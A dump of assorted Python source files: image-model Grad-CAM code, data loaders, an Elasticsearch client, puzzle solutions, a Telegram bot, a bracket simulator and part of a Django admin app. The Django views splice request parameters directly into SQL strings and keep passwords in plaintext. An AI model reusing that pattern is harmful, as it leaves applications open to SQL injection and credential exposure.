'DenseNet-100':grad_cam_Densenet_100,'Densenet161':grad_cam_Densenet_161,'CliqueNet-S3':grad_cam_CliqueNet_s3}\n\n\t# Input (image)\n\timages = []\n\tval_dir_path = '/home/captain/Desktop/Graduation_Project/OXFORD_IIIT/database/data_breeds/val'\n\tfor val_breeds_dir_name in os.listdir(val_dir_path):\n\t\tval_breeds_dir_path = os.path.join(val_dir_path, val_breeds_dir_name)\n\t\tfor img_filename in os.listdir(val_breeds_dir_path):\n\t\t\timg_path = os.path.join(val_breeds_dir_path, img_filename)\n\t\t\timages.append(img_path)\n\n\tfrom visdom import Visdom\n\tviz = Visdom(env='Models-Grad-CAM')\n\timage_so_far = 0\n\tfor image_path in images:\n\n\t\tprint(image_so_far, image_path)\n\t\tif image_so_far == 100:\n\t\t\tbreak\n\n\t\timage_so_far += 1\n\t\timg = cv2.imread(image_path, 1) # : (224, 224, 3)\n\t\timg = np.float32(cv2.resize(img, (224, 224))) / 255 # : (224, 224, 3)\n\t\tinput = preprocess_image(img) # input torch.Size([1, 3, 224, 224])\n\n\t\t# If None, returns the map for the highest scoring category.\n\t\t# Otherwise, targets the requested index.\n\t\ttarget_index = None\n\n\t\tshow_origin_image(image_path)\n\t\tfor key_i in grad_cams:\n\t\t\tgrad_cam = grad_cams[key_i]\n\t\t\tmask = grad_cam(input, target_index) # __call__\n\t\t\tshow_cam_on_image(image_path, mask, key_i)\n\n\n\t\t# gb_model = GuidedBackpropReLUModel(model, use_cuda=args.use_cuda)\n\t\t# gb = gb_model(input, index=target_index)\n\t\t# utils.save_image(torch.from_numpy(gb*255), 'gb.jpg')\n\t\t#\n\t\t# cam_mask = np.zeros(gb.shape) # : (3, 224, 224)\n\t\t# for i in range(0, gb.shape[0]):\n\t\t# \tcam_mask[i, :, :] = mask\n\t\t#\n\t\t# # cam_gb = np.multiply(cam_mask, gb) # 点乘\n\t\t# cam_gb = np.multiply(mask, gb) # 点乘\n\t\t# utils.save_image(torch.from_numpy(cam_gb*255), 'cam_gb.jpg')\n\n\n\n\n\n\n\n\n\n","sub_path":"OXFORD_IIIT/grad-cam-models.py","file_name":"grad-cam-models.py","file_ext":"py","file_size_in_byte":13828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"70054619","text":"# coding: utf-8\n__author__ = 'Harald Floor Wilhelmsen'\n\n\nclass LogSolution:\n log_files = {}\n\n def __init__(self, log_files, standard_file_name):\n \"\"\"\n Initializes the log-object\n :param log_files: A list of *file*-names without extensions.\n Log-files with these names will be created in /var/log.\n \"\"\"\n for file_name in log_files:\n self.log_files[file_name] = '/var/log/{}.log'.format(file_name)\n self.log_files['standard_log_file'] = '/var/log/{}.log'.format(standard_file_name)\n\n def log(self, entry, log_file_name, print_entry=True):\n if print_entry:\n print(entry)\n with open(self.log_files[log_file_name], 'a') as log_file:\n log_file.write(entry + '\\n')\n","sub_path":"userscripts/tihldelib/logsolution.py","file_name":"logsolution.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"169003189","text":"#!/usr/bin/python\n# encoding: utf-8\n\nimport random\nimport torch\nfrom torch.autograd import Variable\n\nfrom torch.utils.data import Dataset\nfrom torch.utils.data import sampler\nimport torchvision.transforms as transforms\nimport six\nimport sys\nfrom PIL import Image\nimport numpy as np\nfrom data_generator import FakeTextDataGenerator\nimport os\n\n\nwith open('../gen_data/poem_pure.txt','r',encoding='utf-8') as text:\n poem = [i.split('\\n')[0] for i in text.readlines()]\n poem_len = len(poem)-1\n\nwith open('../gen_data/idiom_pure.txt','r',encoding='utf-8') as text:\n idiom = [i.split('\\n')[0] for i in text.readlines()]\n idiom_len = len(idiom)-1\n\nfonts_list = os.listdir('../gen_data/TextRecognitionDataGenerator/fonts')\n\npics = os.listdir('../gen_data/TextRecognitionDataGenerator/img')\nbgs = []\nfor i in pics:\n bgs.append(Image.open('../gen_data/TextRecognitionDataGenerator/img/'+i))\n\n\n# 从文字库中随机选择n个字符\ndef sto_choice_from_info_str(quantity=10):\n if random.random() > (4/quantity):\n text = poem[random.randint(0,poem_len)]\n start = random.randint(0, len(text) - quantity)\n return text[start:start+random.randint(int(quantity*0.8),quantity)]\n else:\n return idiom[random.randint(0,idiom_len)]\n\nclass genDataset(Dataset):\n def __init__(self, transform=None, target_transform=None):\n self.nSamples = 1000000\n self.transform = transforms.Compose([transforms.ToTensor()])\n self.target_transform = target_transform\n\n def __len__(self):\n return self.nSamples\n\n def __getitem__(self, index):\n assert index <= len(self), 'index range error'\n\n text = sto_choice_from_info_str(10)\n\n font = random.sample(fonts_list, 1)[0]\n font = os.path.join('../gen_data/TextRecognitionDataGenerator/fonts', font)\n\n size = 48\n width = size * 10\n\n skewing_angle = random.randint(0, 5)\n\n blur = random.random() / 2\n\n background_type = 3\n\n distorsion_type = random.randint(0, 2)\n distorsion_orientation = random.randint(0, 2)\n\n alignment = random.randint(0, 2)\n\n text_color = '#000000'\n\n orientation = 1\n space_width = 1\n\n bg = random.sample(bgs,1)[0]\n\n img = FakeTextDataGenerator.generate(text,font,size,skewing_angle,background_type,\n distorsion_type,distorsion_orientation,width,alignment,text_color,orientation,space_width,bg,blur)\n\n # img = self.transform(img)\n\n label = text\n\n if self.target_transform is not None:\n label = self.target_transform(label)\n\n return (img, label)\n\n\nclass lmdbDataset(Dataset):\n\n def __init__(self, root=None, transform=None, target_transform=None):\n if not self.env:\n print('cannot creat lmdb from %s' % (root))\n sys.exit(0)\n\n with self.env.begin(write=False) as txn:\n\n str = 'num-samples'\n nSamples = int(txn.get(str.encode()))\n self.nSamples = nSamples\n\n self.transform = transform\n self.target_transform = target_transform\n\n def __len__(self):\n return self.nSamples\n\n def __getitem__(self, index):\n assert index <= len(self), 'index range error'\n index += 1\n with self.env.begin(write=False) as txn:\n img_key = 'image-%09d' % index\n imgbuf = txn.get(img_key.encode())\n\n buf = six.BytesIO()\n buf.write(imgbuf)\n buf.seek(0)\n try:\n img = Image.open(buf).convert('L')\n except IOError:\n print('Corrupted image for %d' % index)\n return self[index + 1]\n\n if self.transform is not None:\n img = self.transform(img)\n\n label_key = 'label-%09d' % index\n label = txn.get(label_key.encode())\n\n if self.target_transform is not None:\n label = self.target_transform(label)\n\n return (img, label)\n\n\nclass resizeNormalize(object):\n\n def __init__(self, size, interpolation=Image.BILINEAR):\n self.size = size\n self.interpolation = interpolation\n self.toTensor = transforms.ToTensor()\n\n def __call__(self, img):\n img = img.resize(self.size, self.interpolation)\n img = self.toTensor(img)\n img.sub_(0.5).div_(0.5)\n return img\n\n\nclass randomSequentialSampler(sampler.Sampler):\n\n def __init__(self, data_source, batch_size):\n self.num_samples = len(data_source)\n self.batch_size = batch_size\n\n def __iter__(self):\n n_batch = len(self) // self.batch_size\n tail = len(self) % self.batch_size\n index = torch.LongTensor(len(self)).fill_(0)\n for i in range(n_batch):\n random_start = random.randint(0, len(self) - self.batch_size)\n batch_index = random_start + torch.range(0, self.batch_size - 1)\n index[i * self.batch_size:(i + 1) * self.batch_size] = batch_index\n # deal with tail\n if tail:\n random_start = random.randint(0, len(self) - self.batch_size)\n tail_index = random_start + torch.range(0, tail - 1)\n index[(i + 1) * self.batch_size:] = tail_index\n\n return iter(index)\n\n def __len__(self):\n return self.num_samples\n\n\nclass alignCollate(object):\n\n def __init__(self, imgH=32, imgW=256, keep_ratio=False, min_ratio=1,cuda=None):\n self.imgH = imgH\n self.imgW = imgW\n self.keep_ratio = keep_ratio\n self.min_ratio = min_ratio\n self.cuda = cuda\n\n def __call__(self, batch):\n images, labels = zip(*batch)\n imgH = self.imgH\n imgW = self.imgW\n if self.keep_ratio:\n ratios = []\n for image in images:\n w, h = image.size\n ratios.append(w / float(h))\n ratios.sort()\n max_ratio = ratios[-1]\n imgW = int(np.floor(max_ratio * imgH))\n imgW = max(imgH * self.min_ratio, imgW) # assure imgH >= imgW\n\n transform = resizeNormalize((imgW, imgH))\n images = [transform(image) for image in images]\n images = torch.cat([t.unsqueeze(0) for t in images], 0)\n return images, labels\n","sub_path":"CRNN/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":6246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"320206996","text":"\"\"\"\nRun queries against Kibana's elasticsearch\n@see http://elasticsearch-py.readthedocs.org/en/master/\n\"\"\"\nimport json\nimport logging\nimport time\n\nfrom datetime import datetime\nfrom dateutil import tz\n\nfrom elasticsearch import Elasticsearch\n\nimport config\n\n\nclass KibanaError(Exception):\n pass\n\n\nclass Kibana(object):\n # give 5 seconds for all log messages to reach logstash and be stored in elasticsearch\n SHORT_DELAY = 5\n\n # seconds in 24h used to get the es index for yesterday\n DAY = 86400\n\n \"\"\" Interface for querying Kibana's storage \"\"\"\n def __init__(self, since=None, period=900):\n \"\"\"\n :arg since: UNIX timestamp data should be fetched since\n :arg period: period (in seconds) before now() to be used when since is empty (defaults to last 15 minutes)\n \"\"\"\n self._es = Elasticsearch(hosts=config.ELASTICSEARCH_HOSTS)\n self._logger = logging.getLogger('kibana')\n\n # if no timestamp provided, fallback to now() in UTC\n now = int(time.time())\n\n if since is None:\n since = now - period\n else:\n since += 1\n self._logger.info(\"Using provided {:d} timestamp as since ({:d} seconds ago)\".format(since, now - since))\n\n self._since = since\n self._to = now - self.SHORT_DELAY # give logs some time to reach Logstash\n\n # Elasticsearch index to query\n # from today and yesterday\n self._index = ','.join([\n self.format_index(now-self.DAY),\n self.format_index(now),\n ])\n\n self._logger.info(\"Using {} indices\".format(self._index))\n self._logger.info(\"Querying for messages from between {} and {}\".\n format(self.format_timestamp(self._since), self.format_timestamp(self._to)))\n\n @staticmethod\n def format_index(ts):\n # ex. logstash-2014.07.08\n tz_info = tz.tzutc()\n return \"logstash-%s\" % datetime.fromtimestamp(ts, tz=tz_info).strftime('%Y.%m.%d')\n\n @staticmethod\n def format_timestamp(ts):\n \"\"\"\n Format the UTC timestamp for Elasticsearch\n eg. 2014-07-09T08:37:18.000Z\n\n @see https://docs.python.org/2/library/time.html#time.strftime\n \"\"\"\n tz_info = tz.tzutc()\n return datetime.fromtimestamp(timestamp=ts, tz=tz_info).strftime(\"%Y-%m-%dT%H:%M:%S.000Z\")\n\n def _get_timestamp_filer(self):\n return {\n \"range\": {\n \"@timestamp\": {\n \"from\": self.format_timestamp(self._since),\n \"to\": self.format_timestamp(self._to)\n }\n }\n }\n\n def _search(self, body, limit=0):\n \"\"\"\n Perform the search and return raw rows\n\n :arg body: query JSON body\n :arg limit: how many rows to return\n :return: raw rows\n \"\"\"\n body.setdefault(\"filter\", self._get_timestamp_filer())\n body.setdefault(\"size\", limit)\n\n self._logger.debug(\"Running {} query (limit set to {:d})\".format(json.dumps(body), body.get('size', 0)))\n\n data = self._es.search(\n index=self._index,\n body=body,\n )\n\n if data['timed_out'] is True:\n raise KibanaError(\"The query timed out!\")\n\n rows = [entry['_source'] for entry in data['hits']['hits']]\n\n self._logger.info(\"{:d} rows returned in {:d} ms\".format(len(rows), data['took']))\n return rows\n\n def get_rows(self, match, limit=10):\n \"\"\"\n Returns raw rows that matches given query\n\n :arg match: query to be run against Kibana log messages (ex. {\"@message\": \"Foo Bar DB queries\"})\n :arg limit: the number of results (defaults to 10)\n \"\"\"\n body = {\n \"query\": {\n \"match\": match,\n }\n }\n\n return self._search(body, limit)\n\n def query_by_string(self, query, limit=10):\n \"\"\"\n Returns raw rows that matches the given query string\n\n :arg query: query string to be run against Kibana log messages (ex. @message:\"^PHP Fatal\").\n :arg limit: the number of results (defaults to 10)\n \"\"\"\n body = {\n \"query\": {\n \"query_string\": {\n \"query\": query,\n }\n }\n }\n\n return self._search(body, limit)\n\n def get_to_timestamp(self):\n \"\"\" Return the upper time boundary to returned data \"\"\"\n return self._to\n","sub_path":"wikia/common/kibana/kibana.py","file_name":"kibana.py","file_ext":"py","file_size_in_byte":4462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"232091353","text":"\"\"\" perfect tree \"\"\"\n\nfrom binary_tree import Btree, print_with_levels\n\n# Traverse tree with DFS, creates a dictionary with number of nodes\n# per level (npl) and then compute total number of nodes\ndef max_perfect_size(node):\n # BFS traverse and fill npl dictionary\n npl = {} # nodes per level\n queue = [(node, 0)]\n while len(queue) > 0:\n next_node, level = queue.pop(0)\n if level not in npl:\n # Stop traversing the tree if a level is not fully filled\n if level > 0 and npl[level-1] != 2 ** (level-1):\n break\n npl[level] = 1\n else:\n npl[level] += 1\n if next_node.left:\n queue.append((next_node.left, level + 1))\n if next_node.right:\n queue.append((next_node.right, level + 1))\n\n # Find number of nodes based on the npl dictionary\n return sum(node_nr for level, node_nr in npl.items()\n if 2 ** level == node_nr)\n\n# Recursively traverse the tree and compute for every node\ndef solution(T):\n def recursive(node):\n if node is None:\n return\n else:\n node_max_perfect = max_perfect_size(node)\n if node_max_perfect > largest[0]:\n largest[0] = node_max_perfect\n recursive(node.left)\n recursive(node.right)\n \n # Using \"largest\" variable as a one element array to keep the same\n # reference after assigning new max inside recursive method\n largest = [0]\n recursive(T)\n return largest[0]\n\n\nif __name__ == '__main__':\n t = Btree()\n t.add(1)\n assert solution(t.root) == 1\n t.add(2)\n assert solution(t.root) == 1\n\n lst = list(range(1,16))\n t = Btree.from_ordered_list(lst)\n assert solution(t.root) == 15\n t.delete(15)\n assert solution(t.root) == 7\n t.delete(14)\n assert solution(t.root) == 7\n t.delete(1)\n assert solution(t.root) == 7\n t.delete(2)\n t.delete(3)\n assert solution(t.root) == 3\n\n print(\"Tests passed!\")","sub_path":"binary_tree/perfect_tree.py","file_name":"perfect_tree.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"150127201","text":"#! /usr/bin/env python\nimport sys\nimport xml.etree.ElementTree as et\n\nizq = 'izqNodo'\nder = 'derNodo'\nlists = et.parse(sys.argv[1]).getroot()[0].findall('facade.tree')\nfile = open((sys.argv[1]).split('.')[0]+'.txt','w')\nfor tree in lists:\n\tsons = tree.iter()\n\tfacade = sons.next()\n\tif len(facade.getchildren()):\n\t\tders = []\n\t\tcadena = '('\n\t\tcerrar = 1\n\t\tfor son in sons:\n\t\t\ttag = son.tag\n\t\t\tif tag == izq:\n\t\t\t\tcadena+='('\n\t\t\t\tfor i in range(len(ders)):\n\t\t\t\t\tders[i]+=1\n\t\t\t\tcerrar+=1\n\t\t\telif tag == der:\n\t\t\t\tif len(ders):\n\t\t\t\t\tult = ders.pop()\n\t\t\t\t\tcadena += ')'*ult\n\t\t\t\t\tfor i in range(len(ders)):\n\t\t\t\t\t\tders[i]-=ult\n\t\t\t\t\tcerrar-=ult\n\t\t\t\tcadena+=')('\n\t\t\tif len(son.findall(der)):\n\t\t\t\tders+=[0]\n\t\tcadena+=')'*cerrar\n\t\tfile.write(cadena+'\\n')\n\telse:\n\t\tfile.write('-\\n')\n\nfile.close()\n","sub_path":"treesToParentheses.py","file_name":"treesToParentheses.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"69184178","text":"import socket\n \ntarget_host = '127.0.0.1' #这里是服务器端的ip\ntarget_port = 9999\n \n#建立一个socket对象\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n \n#连接客户端\nclient.connect((target_host, target_port))\n \nwhile True:\n#发送一些数据\n sendmsg = input(\"请输入：\")\n if sendmsg == 'over':\n print(\"Game over!\")\n break\n sendmsg = sendmsg\n client.send(sendmsg.encode(\"utf-8\"))\n response = client.recv(2048)\n print(response.decode(\"utf-8\"))\n#client.close()\n","sub_path":"廖Py教程/py/18.网络编程/tcp_client.py","file_name":"tcp_client.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"194261291","text":"import logging\n\nfrom aiogram import types\nfrom aiogram.types import ReplyKeyboardMarkup, KeyboardButton, ContentType\n\nfrom server import dp\nfrom state import get_state\n\nlog_i = logging.info\nlog_w = logging.warning\n\n\n\n@dp.message_handler(content_types=ContentType.PHOTO)\nasync def text_valid(message: types.Message):\n state = get_state(message.from_user.id)\n log_i(\"WORK ?\")\n state.set_photo(message.photo[-1].file_id)\n if len(state.get_photo()) > 3:\n await message.answer(\"Воспользуйтесь командой /present_task для демонстрации \")\n\n@dp.message_handler(content_types=ContentType.TEXT)\nasync def text_valid(message: types.Message):\n state = get_state(message.from_user.id)\n log_i(f\"{state.__class__} ---{state.state}\")\n if \"text\" == state.state:\n state.set_text(message.text)\n markup = ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True)\n markup.add(KeyboardButton(\"Отправить свою локацию 🗺️\", request_location=True))\n markup.add(\"Вести вручную\")\n await message.reply(\"Ведите геопазицию\", reply_markup=markup)\n elif message.text == \"Вести вручную\":\n pass\n elif state.state == \"geo\":\n state.set_geo_link(message.text, 'text')\n await message.answer(\"Загрузите фото.Не более 3\")\n # else:\n # await message.answer(\"Произошел сбой в регистрации заявки для сброса заявки используйте /new_task\")\n\n\n@dp.message_handler(content_types=ContentType.LOCATION)\nasync def text_valid(message: types.Message):\n state = get_state(message.from_user.id)\n if state == 'geo':\n state.set_geo_link(message.location, \"cord\"),\n await message.answer(\"Загрузите фото.Не более 3\\n По окончанию загрузки воспользуйтесь командой /present_task\")\n","sub_path":"bot/free_bot_telegramm/handler/common_type.py","file_name":"common_type.py","file_ext":"py","file_size_in_byte":1983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"620363609","text":"from __future__ import absolute_import\nimport functools\n\nfrom tornado import gen\n\nfrom appnado import exceptions\n\n\n# This decorator must be before @gen.coroutine\ndef handle_exceptions(func=None):\n def the_decorator(func):\n @gen.coroutine\n @functools.wraps(func)\n def wrapper(self, *args, **kwargs):\n try:\n yield func(self, *args, **kwargs)\n except exceptions.AppnadoException as ex:\n self.logger.error(ex)\n self.build_response(ex)\n except Exception as ex: # pylint: disable=broad-except\n self.logger.error(ex)\n self.build_response(ex)\n\n return wrapper\n\n if func:\n return the_decorator(func)\n else:\n return the_decorator\n","sub_path":"appnado/applications/http/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"506355942","text":"import pandas as pd\nimport random\nimport math\n\n\nclass Team:\n # Class for Team object\n \n def __init__(self, id, name):\n self.id = id\n self.name = name\n self.defeated_teams = []\n\n def __str__(self):\n return self.name\n\n def __repr__(self):\n return self.name\n\n\n# Following lines are optional as the files have been provided.\n# read raw csv file for teams and only pull the first two columns (id, team_name)\nbracket_df = pd.read_csv('bracket-00.csv')\nbracket_df = bracket_df[['team_id', 'team_name']]\n# Grab only the first 64 rows - we need number of teams to be a power of 2.\nbracket_df = bracket_df.loc[:63]\nbracket_df.to_csv('teams.csv', header=False, index=False)\n\n\ndef create_teams(file):\n# Read from the teams.csv file and populate the teams list with Team objects.\n with open(file) as f:\n for line in f:\n split_line = line.split(',')\n teams.append(Team(split_line[0], split_line[1]))\n return teams\n\ndef generate_bracket(teams):\n # Generate bracket from the teams list the bracket list will be a list\n # of randomly generated tuples between the teans objects such as \n # bracket = [(Weber State. Gonzaga), (Baylor, Nebraska)]\n\n # Number of 'games' to be played as if there are 64 teams, there's going to\n # be teams/2 games. In this example 32 games.\n iterations = len(teams) // 2\n bracket = []\n\n for i in range(iterations):\n team_1 = random.choice(teams)\n teams.remove(team_1)\n team_2 = random.choice(teams)\n teams.remove(team_2)\n\n bracket.append((team_1, team_2))\n return bracket\n\ndef play_tournament(bracket, teams):\n # Function to play out the tournament by providing an initial bracket list\n \n # num_rounds will equal the log base 2 of the current number of teams i.e.\n # the number of \"levels\" in a binary tree.\n num_rounds = int(math.log(len(teams), 2))\n #print(num_rounds)\n\n for i in range(num_rounds):\n if len(winners) > 0:\n # If winners list is currently populated i.e. past the first round\n bracket = generate_bracket(winners)\n else:\n # Generate the bracket if no games have been played yet.\n bracket = generate_bracket(teams)\n\n for match in bracket:\n # Iterate through the match in the brackets list. Match is in the \n # form of a tuple of Team objects i.e. (Gonzaga, Witchita State)\n\n # generates True/False based on random. If True, first team in the \n # tuple wins, else the second team wins.\n selection = random.random() >= 0.5\n # Keep track of the winner and loser\n if not selection:\n winner = match[0]\n loser = match[1]\n else:\n winner = match[1]\n loser = match[0]\n \n # Loser gets appended to the winning Team objects defeated_teams list\n winner.defeated_teams.append(loser)\n winners.append(winner)\n\ndef is_bracket_complete(teams, winners):\n # Function to check if the bracket has been finished playing out.\n \n # If teams list is exhausted and there is a single winner in winners list\n # then the bracket is complete\n return ('Bracket is complete!' if (len(teams) == 0 and len(winners) == 1) \n else 'Bracket is incomplete!')\n\ndef find_champion(teams, winners):\n # Function to return the winner of the tournament\n\n return (f'Your champion is { winners[0] }' if len(teams) == 0 and \n len(winners) == 1 else 'No champion yet! Play out the tournament!')\n\ndef champions_path_to_victory(winners):\n # Function that returns the champions defeated teams list in a f-string\n\n if len(winners) > 0:\n champion = winners[0]\n else:\n return('No champion!')\n\n champion_defeated_teams = [team.name for team in champion.defeated_teams]\n return (f'Your champion ({champion})\\'s path of destruction is ' + \n '-> '.join(champion_defeated_teams))\n\n \n# Initial lists that we need.\nteams = []\nbracket = []\nwinners = []\nteams = create_teams('teams.csv')\nplay_tournament(bracket, teams)\n\n#print(len(winners))\n#print(len(teams))\n#print(winners[0].defeated_teams)\n#print('Winner is ' + str(winners[-1]))\n#print(f'Winner {winners[-1]} defeated ' + str(winners[-1].defeated_teams) + \n# ' on their road to the championship!')\n\nprint(is_bracket_complete(teams, winners))\ntest_winners = []\nprint(is_bracket_complete(teams, test_winners))\ntest_teams = [Team(1, 'TEST SCHOOL')]\nprint(is_bracket_complete(test_teams, winners))\nprint(find_champion(teams, winners))\nprint(champions_path_to_victory(winners))\nprint(champions_path_to_victory(test_winners))","sub_path":"4 - March Madness/bracket.py","file_name":"bracket.py","file_ext":"py","file_size_in_byte":4750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"249553345","text":"import random as r\n\nnum = r.randint(1,100)\nguessed = False\nguess = input(\"Guess my number (1-100):\")\n\nwhile not guessed:\n numberChoosen = int(guess)\n if(numberChoosen == num):\n guessed = True\n else:\n if (numberChoosen > num):\n print(\"Lower\")\n else:\n print(\"Higher\")\n guess = input(\"Next guess:\")\n\nprint(\"you guessed correctly!\")\n","sub_path":"numberguesser.py","file_name":"numberguesser.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"34512283","text":"import logging\nimport sys\n\n# region Logging\ndef get_logger():\n logger = logging.getLogger('artemis')\n log_handler = logging.StreamHandler(stream=sys.stdout)\n formatter = logging.Formatter('[%(asctime)s - %(levelname)-8s - %(module)-20s:%(lineno)4s - %(funcName)-45s] - %(message)s')\n formatter.default_msec_format = '%s.%03d'\n log_handler.setFormatter(formatter)\n if not logger.handlers:\n logger.addHandler(log_handler)\n logger.setLevel(logging.DEBUG)\n logger.propagate = False\n return logger\n# endregion\n","sub_path":"utils/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"27954786","text":"import redis\n\n# Redis Key\n\n# hash object\nOVERALL_CAPACITY = 'capacity'\nVOLUME_STATUS = 'status'\nVOLUME_USAGE = 'usage'\nVOLUME_PREFIX = 'volume:'\nSNAPSHOT_PREFIX = 'snapshot:'\nBRICK_PREFIX = 'brick:'\nVOLUME_NFS = 'nfs'\nVOLUME_SAMBA = 'samba'\nVOLUME_ISCSI = 'iscsi' \nVOLUME_SWIFT = 'swift'\n\n# set object\nVOLUME_NAMES = 'volume:names'\nNETWORKIO_IN = 'network_io_in:names'\nNETWORKIO_OUT = 'network_io_out:names'\n\n\n# single object\nCLUSTER_DISKS = 'cluster:disks'\nCLUSTER_LIST = 'cluster:list'\nCLUSTER_RESOURCE = 'cluster:resource'\n\n# list object\nMEMORY_USAGE_PREFIX = 'memory_usage:' # memory_usage:192.168.1.150\nCPU_USAGE_PREFIX = 'cpu_usage:' # cpu_usage:192.168.1.150:1 cpu_usage:192.168.1.150:2 etc\nREAD_SPEED_PREFIX = 'read_speed:'\nWRITE_SPEED_PREFIX = 'write_speed:'\nDISKWRITE = 'diskio_write:'\nDISKREAD = 'diskio_read:'\nDISKWRITEALL = 'disk_writes:'\nDISKREADALL = 'disk_reads:'\nDISK_NAME_WRITE = 'disk_name_write:'\nDISK_NAME_READ = 'diskname_read:'\nNETWORKIO_NAME_IN_INIT = 'network_machine_in_init:'\nNETWORKIO_NAME_OUT_INIT = 'network_machine_out_init:'\nNETWORKIO_IN_SUM_INIT = 'networkio_in_sum_init:'\nNETWORKIO_OUT_SUM_INIT = 'networkio_out_sum_init:'\n\n\n# Redis Value\nVOLUME_STATUS_STARTED = 'Started'\nVOLUME_STATUS_STOPPED = 'Stopped'\nVOLUME_CAPACITY = 'capacity'\nVOLUME_USAGE = 'usage'\nTIMESTAMP = \"timestamp\"\nTEST = \"test\"\nDATA = \"data\"\nTIME = \"time\"\n\n\n# This class is wrapper for a redis instance\nclass Redis:\n r = redis.StrictRedis(host='localhost', port=6379, db=0)\n\n @staticmethod\n def set(name, value):\n Redis.r.set(name, value)\n\n @staticmethod\n def psetex(name, time, value):\n Redis.r.psetex(name, time, value)\n\n @staticmethod\n def setex(name, time, value):\n Redis.r.setex(name, time, value)\n\n @staticmethod\n def pttl(name):\n Redis.r.pttl(name)\n\n @staticmethod\n def ttl(name):\n Redis.r.ttl(name)\n\n @staticmethod\n def get(name):\n return Redis.r.get(name)\n\n @staticmethod\n def delete(name):\n Redis.r.delete(name)\n\n @staticmethod\n def hset(name, key, value):\n Redis.r.hset(name, key, value)\n\n @staticmethod\n def hmset(name, mapping):\n Redis.r.hmset(name, mapping)\n\n @staticmethod\n def hget(name, key):\n return Redis.r.hget(name, key)\n\n @staticmethod\n def hgetall(name):\n return Redis.r.hgetall(name)\n\n @staticmethod\n def sadd(name, value):\n Redis.r.sadd(name, value)\n\n @staticmethod\n def sget(name):\n return Redis.r.smembers(name)\n\n @staticmethod\n def srem(name, key):\n return Redis.r.srem(name, key)\n\n @staticmethod\n def lrem(name, value,num):\n Redis.r.lrem(name, value,num)\n\n # append to list\n @staticmethod\n def lpush(name, key):\n Redis.r.rpush(name, key)\n\n @staticmethod\n def lrange(name, start, end):\n return Redis.r.lrange(name, start, end)\n\n\n @staticmethod\n def lpop(name):\n return Redis.r.lpop(name)\n","sub_path":"src/lib/glfs-web/app/redis_util.py","file_name":"redis_util.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"316617087","text":"import random\r\nfrom datetime import date\r\nfrom http.client import HTTPResponse\r\n\r\nfrom django.http import *\r\nfrom django.shortcuts import *\r\nfrom math import *\r\n\r\nfrom django.views.decorators.csrf import *\r\nfrom django.core.files.storage import *\r\nfrom pymysql import *\r\nimport http.client\r\n\r\ndef random_with_N_digits(n):\r\n range_start=10**(n-1)\r\n range_end=(10**n)-1\r\n from random import randint\r\n return randint(range_start,range_end)\r\n\r\ndef addadmin(request):\r\n return render(request,\"addadmin.html\")\r\n\r\n\r\n@csrf_exempt\r\ndef add(request):\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n q=\"select * from admin where email='\"+request.POST[\"email\"]+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(q)\r\n result=cr.fetchone()\r\n if result:\r\n # d={\"message\":\"Email already exists\"}\r\n return HttpResponse(\"fail\")\r\n else:\r\n s = \"insert into admin values('\"+request.POST[\"email\"]+\"','\"+request.POST[\"password\"]+\"','\"+request.POST[\"type\"]+\"',\"+request.POST[\"mobile\"]+\")\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n # d={\"message\":\"Admin added successfully\"}\r\n return HttpResponse(\"success\")\r\n\r\ndef viewadmin(request):\r\n if \"adminemail\" in request.session:\r\n conn=connect(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n s=\"select * from admin\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n result=cr.fetchall()\r\n x=[]\r\n q=\"select type from admin where email='\"+request.session[\"adminemail\"]+\"'\"\r\n cr.execute(q)\r\n result1=cr.fetchone()\r\n for row in result:\r\n d={\"email\":row[0],\"password\":row[1],\"type\":row[2],\"mobile\":row[3]}\r\n x.append(d)\r\n return render(request,\"viewadmin.html\",{\"ar\":x,'type':result1[0]})\r\n else:\r\n return HttpResponseRedirect(\"adminlogin\")\r\n\r\n\r\ndef editadmin(request):\r\n if \"adminemail\" in request.session:\r\n conn=connect(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n s=\"select * from admin where email='\"+request.GET[\"q\"]+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n result=cr.fetchone()\r\n #return HttpResponse(result)\r\n d={\"email\":result[0],\"type\":result[2],\"mobile\":result[3]}\r\n #return render(request,\"editadmin.html\",{\"ar\":d})\r\n print(d)\r\n return JsonResponse(d,safe=False)\r\n else:\r\n return HttpResponseRedirect(\"adminlogin\")\r\n\r\n@csrf_exempt\r\ndef saveadmin(request):\r\n # print(request.POST[\"type\"])\r\n # 